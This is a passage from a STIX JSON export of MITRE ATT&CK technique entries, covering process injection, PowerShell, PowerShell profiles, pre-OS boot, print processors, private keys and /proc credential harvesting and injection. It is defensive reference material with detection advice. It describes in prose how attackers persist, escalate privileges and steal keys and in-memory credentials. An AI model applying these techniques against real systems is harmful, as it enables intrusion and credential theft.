            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.002",
                    "url": "https://attack.mitre.org/techniques/T1055/002"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Access"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1086",
                    "url": "https://attack.mitre.org/techniques/T1086"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "source_name": "TechNet PowerShell"
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
                {
                    "url": "https://github.com/jaredhaight/PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.",
                    "source_name": "Github PSAttack"
                },
                {
                    "source_name": "Sixdub PowerPick Jan 2016",
                    "url": "http://www.sixdub.net/?p=367",
                    "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018."
                },
                {
                    "source_name": "SilentBreak Offensive PS Dec 2015",
                    "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/",
                    "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018."
                },
                {
                    "source_name": "Microsoft PSfromCsharp APR 2014",
                    "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/",
                    "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019."
                },
                {
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "source_name": "FireEye PowerShell Logging 2016"
                }
            ],
            "name": "PowerShell",
            "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-09T13:51:06.334Z",
            "created": "2017-05-31T21:31:06.512Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.001",
                    "url": "https://attack.mitre.org/techniques/T1059/001"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "source_name": "TechNet PowerShell"
                },
                {
                    "url": "https://github.com/jaredhaight/PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.",
                    "source_name": "Github PSAttack"
                },
                {
                    "source_name": "Sixdub PowerPick Jan 2016",
                    "url": "http://www.sixdub.net/?p=367",
                    "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018."
                },
                {
                    "source_name": "SilentBreak Offensive PS Dec 2015",
                    "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/",
                    "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018."
                },
                {
                    "source_name": "Microsoft PSfromCsharp APR 2014",
                    "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/",
                    "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019."
                },
                {
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "source_name": "FireEye PowerShell Logging 2016"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "PowerShell",
            "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)",
            "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-06-24T13:51:22.360Z",
            "created": "2020-03-09T13:48:55.078Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Module: Module Load",
                "Process: Process Creation",
                "Script: Script Execution"
            ],
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1504",
                    "url": "https://attack.mitre.org/techniques/T1504"
                },
                {
                    "source_name": "Microsoft About Profiles",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6",
                    "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
                },
                {
                    "source_name": "Wits End and Shady PowerShell Profiles",
                    "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html",
                    "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."
                },
                {
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet"
                }
            ],
            "name": "PowerShell Profile",
            "id": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T15:11:53.430Z",
            "created": "2019-06-14T18:53:49.472Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.013",
                    "url": "https://attack.mitre.org/techniques/T1546/013"
                },
                {
                    "source_name": "Microsoft About Profiles",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6",
                    "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
                },
                {
                    "source_name": "Wits End and Shady PowerShell Profiles",
                    "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html",
                    "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."
                },
                {
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "PowerShell Profile",
            "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
            "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-24T21:31:31.082Z",
            "created": "2020-01-24T15:11:02.758Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Modification",
                "File: File Creation"
            ],
            "x_mitre_contributors": [
                "Allen DeRyke, ICE"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
            "description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.",
            "name": "Pre-OS Boot",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1542",
                    "url": "https://attack.mitre.org/techniques/T1542"
                },
                {
                    "source_name": "Wikipedia Booting",
                    "url": "https://en.wikipedia.org/wiki/Booting",
                    "description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019."
                },
                {
                    "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
                    "source_name": "ITWorld Hard Disk Health Dec 2014"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-10-22T16:35:54.740Z",
            "created": "2019-11-13T14:44:49.439Z",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "Network"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation",
                "Firmware: Firmware Modification",
                "Driver: Driver Metadata",
                "Process: OS API Execution",
                "Drive: Drive Modification"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host intrusion prevention systems",
                "File monitoring"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_detection": "Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)",
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.012",
                    "url": "https://attack.mitre.org/techniques/T1547/012"
                },
                {
                    "source_name": "Microsoft AddPrintProcessor May 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor",
                    "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020."
                },
                {
                    "source_name": "ESET PipeMon May 2020",
                    "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/",
                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Print Processors",
            "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the <code>GetPrintProcessorDirectory</code> API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
            "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-10-09T16:05:36.344Z",
            "created": "2020-10-05T13:24:49.780Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver</code> or <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver</code> as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: OS API Execution",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification",
                "Driver: Driver Load"
            ],
            "x_mitre_contributors": [
                "Mathieu Tartare, ESET"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
            "name": "Private Keys",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1145",
                    "url": "https://attack.mitre.org/techniques/T1145"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Public-key_cryptography",
                    "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
                    "source_name": "Wikipedia Public Key Crypto"
                },
                {
                    "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf",
                    "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
                    "source_name": "Kaspersky Careto"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                    "source_name": "Palo Alto Prince of Persia"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-18T16:51:57.775Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
            "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.",
            "name": "Private Keys",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1552.004",
                    "url": "https://attack.mitre.org/techniques/T1552/004"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Public-key_cryptography",
                    "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
                    "source_name": "Wikipedia Public Key Crypto"
                },
                {
                    "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf",
                    "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
                    "source_name": "Kaspersky Careto"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                    "source_name": "Palo Alto Prince of Persia"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-03-29T21:36:36.613Z",
            "created": "2020-02-04T13:06:49.258Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1003.007",
                    "url": "https://attack.mitre.org/techniques/T1003/007"
                },
                {
                    "url": "https://github.com/huntergregal/mimipenguin",
                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
                    "source_name": "MimiPenguin GitHub May 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Proc Filesystem",
            "description": "Adversaries may gather credentials from information stored in the Proc filesystem or <code>/proc</code>. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.",
            "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-03-19T15:32:18.098Z",
            "created": "2020-02-11T18:46:24.434Z",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access"
            ],
            "x_mitre_permissions_required": [
                "root"
            ],
            "x_mitre_detection": "To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/\\*/maps</code>, where the <code>\\*</code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.009",
                    "url": "https://attack.mitre.org/techniques/T1055/009"
                },
                {
                    "url": "http://hick.org/code/skape/papers/needle.txt",
                    "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
                    "source_name": "Uninformed Needle"
                },
                {
                    "source_name": "GDS Linux Injection",
                    "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html",
                    "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020."
                },
                {
                    "source_name": "DD Man",
                    "url": "http://man7.org/linux/man-pages/man1/dd.1.html",
                    "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Proc Memory",
            "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "id": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-06-20T22:25:55.331Z",
            "created": "2020-01-14T01:34:10.588Z",
            "x_mitre_defense_bypassed": [
                "Application control",
                "Anti-virus"
            ],
            "x_mitre_data_sources": [
                "File: File Modification"
            ],
            "x_mitre_detection": "File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux"
            ]
        },
        {
            "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Process Discovery",
